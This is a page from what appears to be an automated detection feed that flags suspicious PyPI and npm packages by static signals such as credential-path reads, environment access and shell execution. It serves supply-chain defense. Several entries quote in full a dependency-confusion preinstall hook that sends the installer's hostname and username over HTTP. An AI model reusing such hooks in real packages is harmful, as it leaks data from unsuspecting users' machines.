Automated package-squatting & slopsquatting detection signals across PyPI and npm — these are automated, unconfirmed signals. Use them to find candidates to investigate, but don't automatically assume they're malicious.

Sorted by risk score. Cleared packages hidden by default — add verdict:benign_community to include. Packages the registry has since removed are hidden too — see them on the Taken Down tab or add state:taken_down. Very risky packages require manual human audit. • Tag & Signal Legend →

Search & filter syntax reference
Filter with verdict: (malicious, suspicious, unverified_high_signal, squatted_stub…), ecosystem: (pypi/npm), hook: (install, network, pth, gyp, worm, c2, creds, binary, env, stealer, any — malicious hooks & behaviors), email:, domain:, keyword:, version: (comma = OR within a field, space = AND across fields), age:<6h / age:>90d (combine both for a range), state:live / state:taken_down (registry liveness — the feed defaults to state:live), lead:>7d (days we had a since-removed package flagged while it was still up), or a bare word for a package-name search.
Package Score ▼ Age Users Lines Growth Verdict Targeted Ecosystem Version Author Email domain Signals
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Kinesis Video Media.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_kinesis_video_media-0.3.0/src/capo_kinesis_video_media/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_kinesis_video_media-0.3.0/src/capo_kinesis_video_media/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_video_media-0.3.0/src/capo_kinesis_video_media/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_kinesis_video_media-0.3.0/src/capo_kinesis_video_media/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_video_media-0.3.0/src/capo_kinesis_video_media/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Kinesis Video Archived Media.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_kinesis_video_archived_media-0.3.0/src/capo_kinesis_video_archived_media/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_kinesis_video_archived_media-0.3.0/src/capo_kinesis_video_archived_media/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_video_archived_media-0.3.0/src/capo_kinesis_video_archived_media/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_kinesis_video_archived_media-0.3.0/src/capo_kinesis_video_archived_media/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_video_archived_media-0.3.0/src/capo_kinesis_video_archived_media/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Kinesis Video.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_kinesis_video-0.3.0/src/capo_kinesis_video/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_kinesis_video-0.3.0/src/capo_kinesis_video/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_video-0.3.0/src/capo_kinesis_video/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_kinesis_video-0.3.0/src/capo_kinesis_video/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_video-0.3.0/src/capo_kinesis_video/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Kinesis Analytics V2.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_kinesis_analytics_v2-0.3.0/src/capo_kinesis_analytics_v2/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_kinesis_analytics_v2-0.3.0/src/capo_kinesis_analytics_v2/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_analytics_v2-0.3.0/src/capo_kinesis_analytics_v2/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_kinesis_analytics_v2-0.3.0/src/capo_kinesis_analytics_v2/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_analytics_v2-0.3.0/src/capo_kinesis_analytics_v2/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Kinesis Analytics.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_kinesis_analytics-0.3.0/src/capo_kinesis_analytics/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_kinesis_analytics-0.3.0/src/capo_kinesis_analytics/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_analytics-0.3.0/src/capo_kinesis_analytics/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_kinesis_analytics-0.3.0/src/capo_kinesis_analytics/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis_analytics-0.3.0/src/capo_kinesis_analytics/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Kinesis.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_kinesis-0.3.0/src/capo_kinesis/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_kinesis-0.3.0/src/capo_kinesis/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis-0.3.0/src/capo_kinesis/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_kinesis-0.3.0/src/capo_kinesis/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_kinesis-0.3.0/src/capo_kinesis/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Keyspacesstreams.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_keyspacesstreams-0.3.0/src/capo_keyspacesstreams/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_keyspacesstreams-0.3.0/src/capo_keyspacesstreams/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_keyspacesstreams-0.3.0/src/capo_keyspacesstreams/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_keyspacesstreams-0.3.0/src/capo_keyspacesstreams/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_keyspacesstreams-0.3.0/src/capo_keyspacesstreams/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— pypi 0.3.0 — — 🪝
Package purpose: Python SDK for AWS Keyspaces.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in capo_keyspaces-0.3.0/src/capo_keyspaces/_auth/_providers.py:183
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in capo_keyspaces-0.3.0/src/capo_keyspaces/_auth/_providers.py:259
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_keyspaces-0.3.0/src/capo_keyspaces/_auth/_providers.py:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in capo_keyspaces-0.3.0/src/capo_keyspaces/_auth/_providers.py:172
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in capo_keyspaces-0.3.0/src/capo_keyspaces/_services/_aws_config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Create a new zudo-circuit-doc project.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/git.js:5
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/git.js:42 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Digital Flow Pte. Ltd. — 🪝
Package purpose: Israeli bank and card transactions into your Orla books. Runs on your machine; your bank password never reaches Orla.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:29
  • ANTI_ANALYSIS_EVASION: 'CI/CD & Sandbox Environment Detection' found in package/dist/cli.js:249 (+1 more occurrence(s) elsewhere)
  • SYSTEM_PERSISTENCE_TAMPERING: 'Cron Job Installation / Tampering' found in package/dist/schedule.js:191
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/dist/scrape.js:40

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: Loglune evaluation client: send an evaluation context, get the feature-flag results and the record a bug report carries. Includes an OpenFeature provider and a CI replay-regression harness.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:21 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/index.js:23 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: 让 DSH 的 shell 工具继承登录 shell 的环境:启动时解析一次登录 shell(~/.zprofile 里的 brew shellenv 等),写回 PATH,使 gh / node / pnpm 等命令在从 Dock 启动 DSH 时同样可用。
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/lib/index.js:53
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/index.js:19

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest Oryxgen AI Team — 🪝 🌐
Package purpose: Official Oryxgen AI CLI - 200+ Models, 250+ Autonomous Agents & Neural CodeX Engine
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/bin/oryxgen.js:230
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/oryxgen.js:32

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest KeyCAE Community — 🪝 🌐
Package purpose: Agentic AI prompt instructions (SKILL.md) + MCP server with Spanish tool names for ARCA compliance via KeyCAE.ar
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/mcp-server.js:29 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/mcp-server.js:7 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝
Package purpose: Secure npm installer and launcher for the native Provod CLI
Static code signals:
  • LIFECYCLE_SCRIPT: 'postinstall' -> 'node scripts/postinstall.cjs'
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/installer.cjs:252

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Ayhan Cicek — 🪝
Package purpose: GitHub issues to merge-ready pull requests, with a developer, tester and reviewer agent.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/activity.js:23 (+6 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:640

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Stdio MCP server for Obsidian-style Markdown vaults
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/vaults-hub.mjs:41
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/vaults-hub.mjs:58

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: The official MCP server for Sendora: its documentation and API for coding agents.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/handler.js:95
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/stdio.js:22

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Oren Yomtov — 🪝 🌐
Package purpose: Node.js library, CLI, and MCP server for Maccabi Healthcare records.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:1229 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/directory-BWY5crnJ.js:2041
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/directory-BWY5crnJ.js:271

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: Select page elements in the browser, collect precise source context with questions, and copy AI-ready Markdown; Alt+Shift jumps straight into Neovim
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/adapters/client.browser.js:1328
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/adapters/client.browser.js:20 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: 长大智耘(Zhiyun)开发者命令行:在本地创建、校验、打包 Skill / Plugin / App 并提交审核。
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/api.js:103
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/api.js:7 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest gaurav2180 — 🪝
Package purpose: Tecton: see every shift in your architecture before it becomes a crack. Architecture diagrams, before/after diffs and boundary rules for JS/TS codebases.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/scan.js:53
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/system.js:477 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Ultra-fast, zero-code autonomous mobile testing & visual QA brain for Android & iOS
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/engine.bundle.js:904 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/engine.bundle.js:841 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/engine.bundle.js:7 (+2 more occurrence(s) elsewhere)
  • ANTI_ANALYSIS_EVASION: 'CI/CD & Sandbox Environment Detection' found in package/dist/engine.bundle.js:923 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Self-hosted Feishu gateway for the Pi coding agent SDK
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/backup.js:44
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/scripts/backup.js:44 (+7 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: OpenCode MCP + plugin: ChatGPT web thinks, OpenCode executes. Use /chatgpt.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/agents-md.js:37 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/chrome.js:56

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Rupak Chatterjee — 🪝
Package purpose: Personal AI-assisted engineering workflow: installs an orchestrator-dispatched set of Claude Code skills, a global engineering contract, and private out-of-repo workflow state.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/install.js:183 (+4 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/lib/project.js:15 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: Production-ready BugPin browser SDK for React, Next.js, Vite, plain JavaScript, and HTML websites.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/bugpin.min.js:243
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/bugpin.min.js:1

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: The mygo command line tool: create, develop and package MyGo desktop apps
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/index.js:47
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/index.js:39

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Ghazi — 🪝
Package purpose: Python-accelerated engine for docmd using Python 3 runtime.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/index.js:50
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/index.js:48

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Clogem CLI: install Codex, Gemini, Claude, and Grok, then run the coding workflow
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/npm/bin/clogem.js:4
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/npm/bin/clogem.js:40
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/npm/bin/clogem.js:21

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Skill manager (Agent Skills) for agent CLIs — import skills from GitHub/local and link them into projects.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/cmd/completion.ts:54 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/internal/importer/importer.ts:143

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/sentry')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/sentry dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/google-tag-manager')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/google-tag-manager dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Pi runtime adapter for Workspace Bridge: let ChatGPT plan and review while Pi builds on your machine.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/config.mjs:151 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/config.mjs:115 (+4 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Eswin Poroj, Christian Villegas — 🪝
Package purpose: MCP server that makes AI coding agents lock files before editing, so teammates' agents never edit the same file at once.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/index.js:10
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/lib/repo.js:11

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Navid Moazzez — 🪝 🌐
Package purpose: YouTube MCP server and CLI for Claude Code, Codex and AI agents. 16 tools for transcripts, search, channel research, comments, analytics and multi-channel management.
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/youtube/api.js:81 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/auth.js:17 (+4 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/accounts/store.js:41

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/intercom')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/intercom dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/navigation')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @waves/navigation dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/thoughtspot')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/thoughtspot dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/button')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @waves/button dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/icons')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @waves/icons dep confusion EXECUTED — rutxploit''
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest rutxploit-sec — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/input')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});" 2>/dev/null; echo '[BUGBOUNTY] @waves/input dep confusion EXECUTED — rutxploit''
